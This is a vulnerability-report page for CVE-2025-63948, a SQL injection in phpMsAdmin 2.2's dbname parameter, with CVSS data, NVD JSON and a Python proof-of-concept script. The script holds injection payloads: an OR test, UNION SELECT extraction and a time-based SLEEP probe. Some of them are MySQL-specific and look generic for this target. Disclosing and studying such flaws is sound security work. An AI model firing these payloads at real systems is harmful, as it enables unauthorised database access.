Security Vulnerability Report
中文
CVE-2025-63948 CVSS 5.4 MEDIUM

CVE-2025-63948

Published: 2025-12-18 21:15:55
Last Modified: 2025-12-31 19:36:07

Description

A SQL Injection vulnerability exists in phpMsAdmin version 2.2 in the database_mode.php file. An attacker can execute arbitrary SQL commands via the dbname parameter, potentially leading to information disclosure or database manipulation.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:craigtaub:phpmsadmin:2.2:*:*:*:*:*:*:* - VULNERABLE
phpMsAdmin 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-63948 SQL Injection PoC for phpMsAdmin 2.2 # Target: database_mode.php # Parameter: dbname import requests import sys def exploit_sql_injection(target_url, payload): """Exploit SQL injection in dbname parameter""" # Construct malicious request params = { 'dbname': payload, 'mode': 'select' } try: response = requests.get( f'{target_url}/database_mode.php', params=params, timeout=10 ) return response.text except requests.exceptions.RequestException as e: return f'Request failed: {e}' # Payload examples if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-63948.py <target_url>') print('Example: python cve-2025-63948.py http://target.com/phpmsadmin') sys.exit(1) target = sys.argv[1] # Test basic injection - detect vulnerability test_payload = "test' OR '1'='1" print(f'[*] Testing basic injection on: {target}') result = exploit_sql_injection(target, test_payload) print(f'[+] Response length: {len(result)}') # Extract database version version_payload = "test' UNION SELECT NULL,@@version,NULL-- " print(f'[*] Extracting database version...') version_result = exploit_sql_injection(target, version_payload) print(f'[+] Version info in response: {len(version_result)} chars') # Extract current database db_payload = "test' UNION SELECT NULL,database(),NULL-- " print(f'[*] Extracting current database name...') db_result = exploit_sql_injection(target, db_payload) print(f'[+] Database name in response: {len(db_result)} chars') # Time-based blind injection for data extraction time_payload = "test' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- " print(f'[*] Testing time-based blind injection...') time_result = exploit_sql_injection(target, time_payload) print(f'[+] Blind injection test completed')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63948", "sourceIdentifier": "[email protected]", "published": "2025-12-18T21:15:54.693", "lastModified": "2025-12-31T19:36:06.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL Injection vulnerability exists in phpMsAdmin version 2.2 in the database_mode.php file. An attacker can execute arbitrary SQL commands via the dbname parameter, potentially leading to information disclosure or database manipulation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craigtaub:phpmsadmin:2.2:*:*:*:*:*:*:*", "matchCriteriaId": "1492534D-4FBA-474F-ACA9-1144166F6DDA"}]}]}], "references": [{"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/phpMsAdmin/CVE-2025-63948.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/phpMsAdmin/CVE-pending-phpMsAdmin.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}